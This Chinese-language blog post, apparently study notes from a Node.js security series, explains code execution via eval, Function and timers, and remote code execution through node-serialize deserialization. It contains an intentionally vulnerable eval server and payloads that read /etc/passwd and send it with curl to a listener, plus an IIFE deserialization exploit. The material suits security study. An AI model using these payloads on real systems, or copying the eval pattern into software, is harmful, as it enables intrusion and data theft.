node.js学习系列(四) 代码执行、反序列化漏洞

代码执行

eval()

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
var express = require("express");
var app = express();

app.get('/eval',function(req,res){
res.send(eval(req.query.q));
console.log(req.query.q);
})

var server = app.listen(8888, function() {
console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})
命令执行

1.Node.js中的chiled_process.exec调用的是bash,可以执行系统命令;构造payload:

/eval?q=require('child_process').exec('curl 127.0.0.1:4444/`cat /etc/passwd|base64`');

2.原型链

没有直接引入child_process,直接构造链:

/eval?q=global.process.mainModule.constructor._load('child_process').exec('curl 127.0.0.1:4444/')

还没学到,准备单独写一篇学习的文章

文件操作

引入fs模块来读写文件

读文件:

require('fs').readFileSync('/flag').toString()

写文件:

require('fs').writeFile('/tmp/shell.txt', 'shell');
信息获取

process对象提供当前node进程的信息,不用require便可直接加载

process.env # 环境变量
process.cwd() # 脚本所在的路径
process.argv # 启动的时候传入的参数,默认当前脚本的路径
process.execPath # node所在的路径
process.pid # 进程ID
process.platform # 系统平台
process.version # node版本
process.chdir() # 切换工作目录到指定目录
process.cwd() # 返回运行当前脚本的工作目录的路径
process.exit() # 退出当前进程

setInterval()与setTimeout()

setTimeout():第一个参数为回调函数,第二个参数表示从当前时间开始过多少毫秒后开始执行回调函数,从第三个开始都是需要向回调函数传的参数

setInterval():第一个参数为回调函数,第二个参数表示从当前时刻开始过多少毫秒后重复执行回调函数,从第三个开始都是需要向回调函数传的参数

setInterval(require('child_process').exec('curl 127.0.0.1:4444/`cat /etc/passwd|base64`'), 2000);

setTimeout(require('child_process').exec('curl 127.0.0.1:4444/`cat /etc/passwd|base64`'), 2000);

Function()

类似php的create_function

Function("console.log('HelloWolrd')")()

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function

反序列化

IIFE

IIFE(立即调用函数表达式):是一个在定义时就会立即执行的js函数

(function () {statements})();
(function () {statements}());

相关文章

node-serialize@0.0.4

使用:

npm install node-serialize

安装这个模块,默认安装的版本就是0.0.4

找到node_modules/node-serialize/lib/serialize.js中定义unserialize函数的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
exports.unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
originObj = originObj || obj;

var circularTasks = [];
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object') {
obj[key] = exports.unserialize(obj[key], originObj);
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
obj[key] = obj[key].substring(CIRCULARFLAG.length);
circularTasks.push({obj: obj, key: key});
}
}
}
}

if (isIndex) {
circularTasks.forEach(function(task) {
task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]);
});
}
return obj;
};

中间调用了eval函数:

obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');

里面的参数用()给括起来了,那么构造一个参数使之成为IIFE,便可任意执行代码

1
2
3
4
5
6
7
8
9
10
11
12
var serialize = require('node-serialize');

var test = {
rce : function(){require('child_process').exec('ls /',function(error,stdout,stderr){console.log(stdout)});},
}
console.log(serialize.serialize(test));
# {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',function(error,stdout,stderr){console.log(stdout)});}"}

# 在序列化的函数后加上一对括号,使之在反序列化时成为IIFE
payload = {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',function(error,stdout,stderr){console.log(stdout)});}()"};

serialize.unserialize(payload);

参考:

https://xz.aliyun.com/t/7184#toc-8